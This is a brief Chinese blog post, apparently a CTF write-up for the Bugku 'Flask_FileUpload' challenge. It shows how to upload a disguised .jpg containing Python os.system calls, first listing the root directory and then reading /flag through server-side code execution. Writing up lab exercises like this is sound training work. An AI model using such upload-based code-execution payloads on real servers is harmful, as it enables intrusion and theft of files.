技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
卷无止境
6 分钟前
FastAPI 的 Request 类装了什么
后端·python
Yweir
6 分钟前
AI大模型开发-Python介绍、版本说明
开发语言·人工智能·python
程序员黑豆
11 分钟前
Java正则表达式详解
java·前端·ai编程
不可求~
9 小时前
多模型路由怎么落地:把任务分流写进项目的最小实现
java·前端·数据库
jufeng1307
11 小时前
【系列:手搓自主 AI Agent:Hermes 架构原理剖析 · 第 11 篇】
python·ai agent·mcp
En^_^Joy
11 小时前
Django项目配置全攻略:settings配置文件
后端·python·django
for_ever_love__
12 小时前
python基础语法学习: 异常的传递性
开发语言·python·学习
AC赳赳老秦
12 小时前
公开图片 OCR 数据提取:OpenClaw 合规采集公开信息图,识别文字与表格并转化为结构化数据
java·大数据·前端·数据库·python·php·openclaw
谢慧琼
12 小时前
2026零基础做企业网站,低成本搭建官方网站
服务器·前端·javascript
热门推荐
01GitHub 镜像站点02国内可直接用、免费额度/永久免费的大模型API清单(含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等)03微信历史版本含下载地址( Windows PC | 安卓 | MAC )及设置微信不更新04Agnes AI 免费 API 接入指南:文本、生图、生视频,一套接口全免费052026 国产 AI 大模型横评:DeepSeek、通义千问、Kimi、文心一言、星火、豆包谁更能打?06历年考研数学一、数学二、数学三真题试卷及答案PDF07VSCode+CodeX扩展,无法启动08AI 编程 IDE 全景解析 2026:Agent 全面接管开发链路09如何新建文件夹? 电脑新建文件夹的4种方法102026年7月AI圈大地震:GPT-5.6被政府限制、Claude入驻Slack、Anthropic自研芯片